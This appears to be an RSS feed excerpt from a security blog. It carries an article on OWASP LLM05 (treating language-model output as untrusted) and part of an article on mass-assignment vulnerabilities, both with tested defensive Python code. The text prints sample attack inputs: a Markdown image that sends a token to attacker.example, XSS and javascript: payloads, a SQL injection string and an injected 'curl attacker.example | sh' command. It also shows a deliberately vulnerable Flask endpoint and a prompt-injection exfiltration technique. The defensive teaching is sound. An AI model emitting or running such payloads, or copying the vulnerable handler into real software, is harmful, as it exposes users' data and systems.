          <td>file-type detection is &ldquo;a best-effort hint&rdquo;; binary formats only; worker-thread advice</td>
          <td>file-type 22.3.0 readme (<a href="https://github.com/sindresorhus/file-type">repository</a>)</td>
          <td>Verified</td>
      </tr>
      <tr>
          <td>sharp strips metadata by default; limitInputPixels default 268402689</td>
          <td>sharp 0.35.5 <code>lib/index.d.ts</code> (<a href="https://github.com/lovell/sharp">repository</a>)</td>
          <td>Verified</td>
      </tr>
      <tr>
          <td>24 KEV entries with CWE-434, 8 added in 2026</td>
          <td><a href="https://github.com/cisagov/kev-data/blob/main/known_exploited_vulnerabilities.json">CISA KEV catalog (kev-data)</a>, version 2026.10.29, counted with Python</td>
          <td>Verified (floor; CWE field not always set)</td>
      </tr>
      <tr>
          <td>Results of the ten test requests and the re-encode test</td>
          <td>Our run on Node.js 22.23.4, 2026-10-30</td>
          <td>Verified (our test)</td>
      </tr>
  </tbody>
</table>
]]></content:encoded></item><item><title>LLM Output Handling: Treat Model Output as Untrusted Input</title><link>https://firewallsync.com/posts/llm-improper-output-handling-treat-model-output-as-untrusted-input/</link><guid>https://firewallsync.com/posts/llm-improper-output-handling-treat-model-output-as-untrusted-input/</guid><pubDate>Thu, 22 Oct 2026 18:45:00 +0000</pubDate><dc:creator>Craig Leslie</dc:creator><category>AI Security</category><description>OWASP's LLM05:2025 covers what happens when an application passes model output to a browser, database, shell or file path without validation. Because prompt injection can steer that output, it should be handled like user input. Here are the failure modes and tested Python patterns for HTML, SQL and tool calls.</description><enclosure url="https://firewallsync.com/posts/llm-improper-output-handling-treat-model-output-as-untrusted-input/cover_hu17014293727835360901.jpg" type="image/jpeg" length="0"/><media:content url="https://firewallsync.com/posts/llm-improper-output-handling-treat-model-output-as-untrusted-input/cover_hu17014293727835360901.jpg" medium="image" type="image/jpeg" width="1200" height="630"/><content:encoded><![CDATA[<p><img src="https://firewallsync.com/posts/llm-improper-output-handling-treat-model-output-as-untrusted-input/cover_hu17014293727835360901.jpg" alt="A tattooed arm holding a paper filter of coffee grounds as coffee drips into a glass carafe below" width="1200" height="630"></p><p>A model&rsquo;s output feels like your application&rsquo;s own text. It isn&rsquo;t. Anyone who can influence the prompt, directly or through a web page, email or file the model reads, can influence what comes out. When that output is rendered as HTML, run as SQL, passed to a shell or used as a file path, the attacker&rsquo;s influence reaches those systems too. OWASP&rsquo;s Top 10 for LLM Applications calls this <strong>LLM05:2025 Improper Output Handling</strong>.</p>
<p><strong>Scope.</strong> Based on OWASP&rsquo;s LLM05:2025 entry (read from the project&rsquo;s GitHub repository on October 22, 2026). The Python examples were run with Python 3.13, Python-Markdown 3.10.3, nh3 0.3.7 (a Python binding to the Rust Ammonia sanitizer), Pydantic 2.13.5 and SQLite. They demonstrate patterns; they are not a complete defense for any particular application.</p>
<h2 id="what-owasp-covers">What OWASP covers</h2>
<p>OWASP defines LLM05 as &ldquo;insufficient validation, sanitization, and handling of the outputs generated by large language models before they are passed downstream to other components and systems&rdquo;. It notes that because output can be controlled through the prompt, this is &ldquo;similar to providing users indirect access to additional functionality&rdquo;. It separates LLM05 from overreliance: LLM05 is about what happens to output before it goes downstream, not about whether the output is accurate.</p>
<p>OWASP&rsquo;s common examples:</p>
<table>
  <thead>
      <tr>
          <th>Where the output goes</th>
          <th>What can go wrong (OWASP example)</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>A shell, <code>exec</code> or <code>eval</code></td>
          <td>Remote code execution</td>
      </tr>
      <tr>
          <td>A browser, as JavaScript or Markdown</td>
          <td>Cross-site scripting (XSS)</td>
      </tr>
      <tr>
          <td>A database, as generated SQL</td>
          <td>SQL injection</td>
      </tr>
      <tr>
          <td>A file path</td>
          <td>Path traversal</td>
      </tr>
      <tr>
          <td>An email template</td>
          <td>Phishing content</td>
      </tr>
  </tbody>
</table>
<p>OWASP also lists conditions that raise the impact: giving the model more privileges than end users have, exposure to indirect prompt injection, third-party extensions that don&rsquo;t validate inputs, no context-aware output encoding, and missing monitoring and rate limiting.</p>
<p>The rest of this article covers three of those destinations with patterns we ran.</p>
<h2 id="1-rendering-markdown-and-html">1. Rendering Markdown and HTML</h2>
<p>Chat interfaces usually render model output as Markdown. Markdown libraries commonly pass raw HTML through (Python-Markdown did in our test), so a model that has been told to emit <code>&lt;img src=x onerror=...&gt;</code> produces script execution in the user&rsquo;s browser. Markdown images are a quieter problem: if the model emits <code>![x](https://attacker.example/c?d=SECRET)</code>, the browser fetches that URL when it renders the image, sending whatever the model put in it. One of OWASP&rsquo;s reference links describes this technique against a chat interface.</p>
<p>The pattern: convert Markdown to HTML, then sanitize the HTML with an allowlist, and only allow images from hosts you control.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#f92672">import</span> markdown<span style="color:#f92672">,</span> nh3
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>ALLOWED_TAGS <span style="color:#f92672">=</span> {<span style="color:#e6db74">&#34;p&#34;</span>, <span style="color:#e6db74">&#34;ul&#34;</span>, <span style="color:#e6db74">&#34;ol&#34;</span>, <span style="color:#e6db74">&#34;li&#34;</span>, <span style="color:#e6db74">&#34;strong&#34;</span>, <span style="color:#e6db74">&#34;em&#34;</span>, <span style="color:#e6db74">&#34;code&#34;</span>, <span style="color:#e6db74">&#34;pre&#34;</span>, <span style="color:#e6db74">&#34;a&#34;</span>, <span style="color:#e6db74">&#34;img&#34;</span>, <span style="color:#e6db74">&#34;blockquote&#34;</span>}
</span></span><span style="display:flex;"><span>IMG_HOSTS <span style="color:#f92672">=</span> (<span style="color:#e6db74">&#34;https://cdn.example.com/&#34;</span>,)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">drop_foreign_images</span>(tag, name, value):
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> tag <span style="color:#f92672">==</span> <span style="color:#e6db74">&#34;img&#34;</span> <span style="color:#f92672">and</span> name <span style="color:#f92672">==</span> <span style="color:#e6db74">&#34;src&#34;</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> value <span style="color:#66d9ef">if</span> value<span style="color:#f92672">.</span>startswith(IMG_HOSTS) <span style="color:#66d9ef">else</span> <span style="color:#66d9ef">None</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> value
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">render_model_markdown</span>(text: str) <span style="color:#f92672">-&gt;</span> str:
</span></span><span style="display:flex;"><span>    html <span style="color:#f92672">=</span> markdown<span style="color:#f92672">.</span>markdown(text)
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> nh3<span style="color:#f92672">.</span>clean(html, tags<span style="color:#f92672">=</span>ALLOWED_TAGS,
</span></span><span style="display:flex;"><span>                     attributes<span style="color:#f92672">=</span>{<span style="color:#e6db74">&#34;a&#34;</span>: {<span style="color:#e6db74">&#34;href&#34;</span>}, <span style="color:#e6db74">&#34;img&#34;</span>: {<span style="color:#e6db74">&#34;src&#34;</span>, <span style="color:#e6db74">&#34;alt&#34;</span>}},
</span></span><span style="display:flex;"><span>                     url_schemes<span style="color:#f92672">=</span>{<span style="color:#e6db74">&#34;https&#34;</span>},
</span></span><span style="display:flex;"><span>                     attribute_filter<span style="color:#f92672">=</span>drop_foreign_images)
</span></span></code></pre></div><p>We fed it this model output:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>Here is your summary. ![x](https://attacker.example/c?d=SECRET_TOKEN)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;img src=x onerror=alert(1)&gt; [click](javascript:alert(1)) ![logo](https://cdn.example.com/logo.png)
</span></span></code></pre></div><p>Result:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span>&lt;<span style="color:#f92672">p</span>&gt;Here is your summary. &lt;<span style="color:#f92672">img</span> <span style="color:#a6e22e">alt</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;x&#34;</span>&gt;&lt;/<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">p</span>&gt;&lt;<span style="color:#f92672">img</span>&gt; &lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">rel</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;noopener noreferrer&#34;</span>&gt;click&lt;/<span style="color:#f92672">a</span>&gt; &lt;<span style="color:#f92672">img</span> <span style="color:#a6e22e">alt</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;logo&#34;</span> <span style="color:#a6e22e">src</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;https://cdn.example.com/logo.png&#34;</span>&gt;&lt;/<span style="color:#f92672">p</span>&gt;
</span></span></code></pre></div><p>The <code>onerror</code> handler and the <code>javascript:</code> link are gone, the attacker&rsquo;s image URL was stripped, and the image from the allowed host survived. If you don&rsquo;t need images or links in model output, leave them out of the allowlist entirely. OWASP also recommends a strict Content Security Policy as a second layer; our <a href="/posts/content-security-policy-a-strict-nonce-based-policy-and-how-to-roll-it-out-safely/">nonce-based CSP guide</a> covers that, and an <code>img-src</code> directive limited to your own hosts blocks the image exfiltration path even if sanitization misses something.</p>
<p>If you display output as plain text, you don&rsquo;t need a sanitizer: HTML-encode it, which is what most template engines do by default unless you mark the content as safe.</p>
<h2 id="2-database-queries">2. Database queries</h2>
<p>OWASP&rsquo;s third scenario is a chat feature that writes SQL; a user asks for a query that deletes all tables, and the application runs it. OWASP recommends parameterized queries for any database operation involving model output.</p>
<p>The stronger design is to not let the model write SQL at all. Let it choose from operations you define and fill in typed parameters, which you validate before they go anywhere near the database:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#f92672">from</span> typing <span style="color:#f92672">import</span> Literal
</span></span><span style="display:flex;"><span><span style="color:#f92672">from</span> pydantic <span style="color:#f92672">import</span> BaseModel, ConfigDict, Field
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">OrderQuery</span>(BaseModel):
</span></span><span style="display:flex;"><span>    model_config <span style="color:#f92672">=</span> ConfigDict(extra<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;forbid&#34;</span>)
</span></span><span style="display:flex;"><span>    status: Literal[<span style="color:#e6db74">&#34;open&#34;</span>, <span style="color:#e6db74">&#34;shipped&#34;</span>, <span style="color:#e6db74">&#34;cancelled&#34;</span>]
</span></span><span style="display:flex;"><span>    limit: int <span style="color:#f92672">=</span> Field(default<span style="color:#f92672">=</span><span style="color:#ae81ff">20</span>, ge<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span>, le<span style="color:#f92672">=</span><span style="color:#ae81ff">100</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">run_order_query</span>(db, model_json: str, customer_id: int):
</span></span><span style="display:flex;"><span>    q <span style="color:#f92672">=</span> OrderQuery<span style="color:#f92672">.</span>model_validate_json(model_json)
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> db<span style="color:#f92672">.</span>execute(
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;SELECT id, status FROM orders WHERE customer_id = ? AND status = ? LIMIT ?&#34;</span>,
</span></span><span style="display:flex;"><span>        (customer_id, q<span style="color:#f92672">.</span>status, q<span style="color:#f92672">.</span>limit))<span style="color:#f92672">.</span>fetchall()
</span></span></code></pre></div><p>Three details matter. The SQL text is yours. The values are bound as parameters. And <code>customer_id</code> comes from the authenticated session, not from the model, so a prompt can&rsquo;t redirect the query to another customer&rsquo;s data. We tested it against an in-memory SQLite table:</p>
<table>
  <thead>
      <tr>
          <th>Model output</th>
          <th>Result</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><code>{&quot;status&quot;:&quot;open&quot;}</code></td>
          <td>Returned only customer 42&rsquo;s open order</td>
      </tr>
      <tr>
          <td><code>{&quot;status&quot;:&quot;open' OR 1=1 --&quot;}</code></td>
          <td>Rejected: not one of the allowed literals</td>
      </tr>
      <tr>
          <td><code>{&quot;status&quot;:&quot;open&quot;,&quot;customer_id&quot;:99}</code></td>
          <td>Rejected: extra field forbidden</td>
      </tr>
      <tr>
          <td><code>{&quot;status&quot;:&quot;open&quot;,&quot;limit&quot;:100000}</code></td>
          <td>Rejected: limit above 100</td>
      </tr>
  </tbody>
</table>
<p>Most model APIs can be asked to return output that follows a JSON schema, which makes this pattern practical. Validate anyway: a schema request is not a guarantee.</p>
<h2 id="3-shell-commands-and-tool-calls">3. Shell commands and tool calls</h2>
<p>OWASP&rsquo;s first example is model output passed to a shell, <code>exec</code> or <code>eval</code>. The fix is the same shape: the model picks an action by name, your code maps the name to a fixed command, and nothing the model writes is interpreted by a shell.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#f92672">import</span> subprocess
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>ACTIONS <span style="color:#f92672">=</span> {<span style="color:#e6db74">&#34;disk_usage&#34;</span>: [<span style="color:#e6db74">&#34;df&#34;</span>, <span style="color:#e6db74">&#34;-h&#34;</span>], <span style="color:#e6db74">&#34;uptime&#34;</span>: [<span style="color:#e6db74">&#34;uptime&#34;</span>]}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">run_action</span>(model_choice: str):
</span></span><span style="display:flex;"><span>    argv <span style="color:#f92672">=</span> ACTIONS<span style="color:#f92672">.</span>get(model_choice)
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> argv <span style="color:#f92672">is</span> <span style="color:#66d9ef">None</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">raise</span> <span style="color:#a6e22e">ValueError</span>(<span style="color:#e6db74">f</span><span style="color:#e6db74">&#34;action not allowed: </span><span style="color:#e6db74">{</span>model_choice<span style="color:#e6db74">!r}</span><span style="color:#e6db74">&#34;</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> subprocess<span style="color:#f92672">.</span>run(argv, capture_output<span style="color:#f92672">=</span><span style="color:#66d9ef">True</span>, text<span style="color:#f92672">=</span><span style="color:#66d9ef">True</span>, timeout<span style="color:#f92672">=</span><span style="color:#ae81ff">10</span>, check<span style="color:#f92672">=</span><span style="color:#66d9ef">False</span>)<span style="color:#f92672">.</span>stdout
</span></span></code></pre></div><p>In our test, <code>&quot;uptime&quot;</code> ran the command, and <code>&quot;uptime; curl attacker.example | sh&quot;</code> was rejected because it isn&rsquo;t a key in the table. If an action needs an argument, such as a file name, validate it against a pattern and pass it as a separate list element, never by building a command string. For file paths, resolve the path and check it is inside the directory you expect before opening it.</p>
<p>The same logic applies to agent tools that call internal APIs. OWASP&rsquo;s first scenario describes a general-purpose model passing its output, unvalidated, to an extension with administrative functions. Give each tool the narrowest permission it needs, and validate tool arguments in the tool, not in the prompt.</p>
<h2 id="a-checklist">A checklist</h2>
<ul>
<li>List every place model output goes: browser, database, shell, file system, email, other APIs, other models.</li>
<li>For each, decide the encoding or validation that destination needs, as you would for user input. OWASP points to the ASVS (Application Security Verification Standard) for validation and encoding guidance.</li>
<li>Prefer structured output with an allowlist (actions, enums, typed fields) over free text that you parse.</li>
<li>Take identity and authorization from the session, never from model output.</li>
<li>Sanitize rendered Markdown or HTML with an allowlist, and restrict image and link destinations.</li>
<li>Log model outputs that reach sensitive sinks, and alert on validation failures. A spike in rejected tool calls is a useful signal of injection attempts.</li>
<li>Rate-limit model usage; OWASP lists missing rate limiting and anomaly detection as impact amplifiers.</li>
</ul>
<p>These controls limit what a manipulated model can do. They don&rsquo;t stop the manipulation, which is OWASP&rsquo;s LLM01:2025 Prompt Injection. If you are new to how request forgery from a server works, our <a href="/posts/ssrf-explained-how-server-side-request-forgery-works-and-how-to-prevent-it/">SSRF explainer</a> covers the SSRF outcome OWASP mentions.</p>
<h2 id="limits-of-this-article">Limits of this article</h2>
<p>The examples cover three destinations and were run in isolation, not inside a model-driven application. The sanitizer configuration is a starting point; review it against the content your interface actually needs. We did not test any specific model or vendor API, and we did not independently verify the incidents OWASP links as references.</p>
<h2 id="sources-and-verification">Sources and verification</h2>
<p>Checked on October 22, 2026.</p>
<table>
  <thead>
      <tr>
          <th>Important claim</th>
          <th>Source</th>
          <th>Verification</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>LLM05:2025 definition, difference from overreliance, possible outcomes, impact conditions, common examples, mitigations (treat model as a user, ASVS, context-aware encoding, parameterized queries, CSP, logging), scenarios</td>
          <td><a href="https://genai.owasp.org/llmrisk/llm052025-improper-output-handling/">OWASP Top 10 for LLM Applications 2025: LLM05 Improper Output Handling</a> (source text in OWASP&rsquo;s GitHub repository)</td>
          <td>Verified</td>
      </tr>
      <tr>
          <td>LLM01:2025 is Prompt Injection</td>
          <td><a href="https://genai.owasp.org/llmrisk/llm01-prompt-injection/">OWASP LLM01:2025</a> (source text in OWASP&rsquo;s GitHub repository)</td>
          <td>Verified</td>
      </tr>
      <tr>
          <td>Sanitizer output for the test input</td>
          <td>Run by us on October 22, 2026 (Python-Markdown 3.10.3, nh3 0.3.7)</td>
          <td>Verified</td>
      </tr>
      <tr>
          <td>SQL pattern accepts valid input and rejects the three bad inputs</td>
          <td>Run by us on October 22, 2026 (Pydantic 2.13.5, SQLite in memory)</td>
          <td>Verified</td>
      </tr>
      <tr>
          <td>Action allowlist rejects an injected command string</td>
          <td>Run by us on October 22, 2026</td>
          <td>Verified</td>
      </tr>
      <tr>
          <td>Python-Markdown passes raw HTML through</td>
          <td>Observed in our test with version 3.10.3</td>
          <td>Verified for that version</td>
      </tr>
  </tbody>
</table>
]]></content:encoded></item><item><title>Mass Assignment: How to Stop Clients Setting role=admin</title><link>https://firewallsync.com/posts/mass-assignment-vulnerability-how-to-stop-clients-setting-role-admin/</link><guid>https://firewallsync.com/posts/mass-assignment-vulnerability-how-to-stop-clients-setting-role-admin/</guid><pubDate>Thu, 22 Oct 2026 18:44:00 +0000</pubDate><dc:creator>John Marshall</dc:creator><category>AppSec &amp; APIs</category><description>Mass assignment happens when a framework binds every field in a request onto an object, so a client can set fields like role, plan or owner that the UI never showed. Here is how it works, what OWASP's API Top 10 calls it now, and tested fixes in Python plus the Spring and Rails mechanisms.</description><enclosure url="https://firewallsync.com/posts/mass-assignment-vulnerability-how-to-stop-clients-setting-role-admin/cover_hu4478286509438204951.jpg" type="image/jpeg" length="0"/><media:content url="https://firewallsync.com/posts/mass-assignment-vulnerability-how-to-stop-clients-setting-role-admin/cover_hu4478286509438204951.jpg" medium="image" type="image/jpeg" width="1200" height="630"/><content:encoded><![CDATA[<p><img src="https://firewallsync.com/posts/mass-assignment-vulnerability-how-to-stop-clients-setting-role-admin/cover_hu4478286509438204951.jpg" alt="A hand with a pen ticking boxes on a handwritten checklist in a notebook, against a dark blurred background" width="1200" height="630"></p><p>A user edits their display name. The browser sends <code>{&quot;display_name&quot;: &quot;Bobby&quot;}</code>. An attacker sends <code>{&quot;display_name&quot;: &quot;Bobby&quot;, &quot;role&quot;: &quot;admin&quot;}</code> to the same endpoint, and the server saves both, because the handler copies every field in the request onto the user record. That is a mass assignment vulnerability. It needs no special tooling, only a guess at a field name, and it turns an ordinary profile form into a privilege-escalation endpoint.</p>
<p><strong>Scope.</strong> Based on the OWASP Mass Assignment Cheat Sheet and the OWASP API Security Top 10 2023 entry for API3 (both read from OWASP&rsquo;s GitHub repositories), the Spring Framework data-binding documentation and the Rails Action Controller guide (main branches, read October 22, 2026). The Python example was run with Python 3.13, Flask 3.1.3 and Pydantic 2.13.5 using Flask&rsquo;s test client. The Spring and Rails snippets are illustrative and were not run.</p>
<h2 id="how-it-happens">How it happens</h2>
<p>Many frameworks bind request data onto objects automatically. OWASP&rsquo;s cheat sheet lists the names the weakness goes by: mass assignment in Ruby on Rails and Node.js, autobinding in Spring MVC and ASP.NET MVC, object injection in PHP. The underlying weakness is CWE-915, improperly controlled modification of dynamically determined object attributes.</p>
<p>The risk appears when the object you bind to has more properties than the caller should control: an ORM entity with <code>role</code>, <code>is_verified</code>, <code>org_id</code> or <code>balance</code>. The client never sees those fields in the UI, but OWASP points out that field names can be guessed or discovered and source code access is not needed. API responses often help, because they return the full object, field names included.</p>
<p>OWASP&rsquo;s cheat sheet cites GitHub&rsquo;s 2012 incident as a case study: a user was able to add his public key to an organization he didn&rsquo;t belong to and push changes to its repositories.</p>
<p>In the 2023 OWASP API Security Top 10, mass assignment is part of <strong>API3:2023 Broken Object Property Level Authorization</strong>. An endpoint is vulnerable if it lets a user read properties they shouldn&rsquo;t (formerly &ldquo;Excessive Data Exposure&rdquo;) or change, add or delete properties they shouldn&rsquo;t (formerly &ldquo;Mass Assignment&rdquo;). OWASP rates exploitability as easy and notes that fuzzing is commonly used to find hidden properties.</p>
<h2 id="a-tested-example-in-python">A tested example in Python</h2>
<p>The vulnerable version writes every key in the JSON body onto the stored user:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#f92672">from</span> flask <span style="color:#f92672">import</span> Flask, request, jsonify, g
</span></span><span style="display:flex;"><span><span style="color:#f92672">from</span> pydantic <span style="color:#f92672">import</span> BaseModel, ConfigDict, EmailStr, ValidationError, Field
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>app <span style="color:#f92672">=</span> Flask(__name__)
</span></span><span style="display:flex;"><span>USERS <span style="color:#f92672">=</span> {<span style="color:#ae81ff">1</span>: {<span style="color:#e6db74">&#34;id&#34;</span>: <span style="color:#ae81ff">1</span>, <span style="color:#e6db74">&#34;email&#34;</span>: <span style="color:#e6db74">&#34;bob@example.com&#34;</span>, <span style="color:#e6db74">&#34;display_name&#34;</span>: <span style="color:#e6db74">&#34;Bob&#34;</span>,
</span></span><span style="display:flex;"><span>             <span style="color:#e6db74">&#34;role&#34;</span>: <span style="color:#e6db74">&#34;member&#34;</span>, <span style="color:#e6db74">&#34;plan&#34;</span>: <span style="color:#e6db74">&#34;free&#34;</span>, <span style="color:#e6db74">&#34;org_id&#34;</span>: <span style="color:#ae81ff">7</span>}}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">@app.before_request</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">fake_auth</span>():
</span></span><span style="display:flex;"><span>    g<span style="color:#f92672">.</span>user_id <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>  <span style="color:#75715e"># stand-in for real authentication</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Vulnerable: every JSON key the client sends is written to the record.</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">@app.patch</span>(<span style="color:#e6db74">&#34;/v1/me&#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">update_me_vulnerable</span>():
</span></span><span style="display:flex;"><span>    USERS[g<span style="color:#f92672">.</span>user_id]<span style="color:#f92672">.</span>update(request<span style="color:#f92672">.</span>get_json())
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> jsonify(USERS[g<span style="color:#f92672">.</span>user_id])
</span></span></code></pre></div><p>The fixed version defines what a user may change, and rejects anything else:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#75715e"># Fixed: a dedicated input model lists the only fields a user may change,</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># and rejects anything else instead of silently ignoring it.</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">ProfileUpdate</span>(BaseModel):
</span></span><span style="display:flex;"><span>    model_config <span style="color:#f92672">=</span> ConfigDict(extra<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;forbid&#34;</span>)
</span></span><span style="display:flex;"><span>    email: EmailStr <span style="color:#f92672">|</span> <span style="color:#66d9ef">None</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">None</span>
</span></span><span style="display:flex;"><span>    display_name: str <span style="color:#f92672">|</span> <span style="color:#66d9ef">None</span> <span style="color:#f92672">=</span> Field(default<span style="color:#f92672">=</span><span style="color:#66d9ef">None</span>, max_length<span style="color:#f92672">=</span><span style="color:#ae81ff">80</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">@app.patch</span>(<span style="color:#e6db74">&#34;/v2/me&#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">update_me_fixed</span>():
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">try</span>:
</span></span><span style="display:flex;"><span>        changes <span style="color:#f92672">=</span> ProfileUpdate<span style="color:#f92672">.</span>model_validate(request<span style="color:#f92672">.</span>get_json())
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">except</span> ValidationError <span style="color:#66d9ef">as</span> e:
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> jsonify(error<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;invalid fields&#34;</span>,
</span></span><span style="display:flex;"><span>                       fields<span style="color:#f92672">=</span>[<span style="color:#e6db74">&#34;.&#34;</span><span style="color:#f92672">.</span>join(map(str, x[<span style="color:#e6db74">&#34;loc&#34;</span>])) <span style="color:#66d9ef">for</span> x <span style="color:#f92672">in</span> e<span style="color:#f92672">.</span>errors()]), <span style="color:#ae81ff">422</span>
</span></span><span style="display:flex;"><span>    USERS[g<span style="color:#f92672">.</span>user_id]<span style="color:#f92672">.</span>update(changes<span style="color:#f92672">.</span>model_dump(exclude_unset<span style="color:#f92672">=</span><span style="color:#66d9ef">True</span>))
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> jsonify(USERS[g<span style="color:#f92672">.</span>user_id])
</span></span></code></pre></div><p>We sent <code>{&quot;display_name&quot;: &quot;Bobby&quot;, &quot;role&quot;: &quot;admin&quot;, &quot;plan&quot;: &quot;enterprise&quot;}</code> to each endpoint with Flask&rsquo;s test client:</p>
<pre tabindex="0"><code>v1 200 {&#39;display_name&#39;: &#39;Bobby&#39;, &#39;email&#39;: &#39;bob@example.com&#39;, &#39;id&#39;: 1, &#39;org_id&#39;: 7, &#39;plan&#39;: &#39;enterprise&#39;, &#39;role&#39;: &#39;admin&#39;}
v2 422 {&#39;error&#39;: &#39;invalid fields&#39;, &#39;fields&#39;: [&#39;plan&#39;, &#39;role&#39;]}
v2 200 {&#39;display_name&#39;: &#39;Bobby&#39;, &#39;email&#39;: &#39;bob@example.com&#39;, &#39;id&#39;: 1, &#39;org_id&#39;: 7, &#39;plan&#39;: &#39;free&#39;, &#39;role&#39;: &#39;member&#39;}
</code></pre><p>The last line is a legitimate request with only <code>display_name</code>, which the fixed endpoint accepts. <code>exclude_unset=True</code> means fields the client didn&rsquo;t send are left alone, so a partial update doesn&rsquo;t blank the email. Note that a client that explicitly sends <code>&quot;display_name&quot;: null</code> will clear it; add a validator if that should not be allowed. <code>EmailStr</code> needs Pydantic&rsquo;s optional <code>email</code> extra installed.</p>
<p>This is a demonstration, not production code: authentication is faked and storage is a dictionary.</p>
<h2 id="the-same-idea-in-other-frameworks">The same idea in other frameworks</h2>
<h3 id="spring">Spring</h3>
<p>The Spring documentation&rsquo;s guidance for safe binding is, in order: prefer immutable objects (records or constructor binding), or dedicated objects designed for the expected input. It says domain objects such as JPA or Hibernate entities &ldquo;are generally not safe for web binding&rdquo;, and that if you must bind to them you should declare the allowed properties:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-java" data-lang="java"><span style="display:flex;"><span><span style="color:#a6e22e">@InitBinder</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#a6e22e">initBinder</span>(WebDataBinder binder) {
</span></span><span style="display:flex;"><span>    binder.<span style="color:#a6e22e">setAllowedFields</span>(<span style="color:#e6db74">&#34;firstName&#34;</span>, <span style="color:#e6db74">&#34;lastName&#34;</span>, <span style="color:#e6db74">&#34;*Address&#34;</span>);
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Spring also offers <code>setDeclarativeBinding(true)</code>, which applies constructor binding always and setter binding only when <code>allowedFields</code> is set. The current documentation says <code>disallowedFields</code>, the blocklist approach, has been deprecated in Spring Framework 7.1 &ldquo;because it is fragile and easy to get out of sync with the actual properties over time&rdquo;.</p>
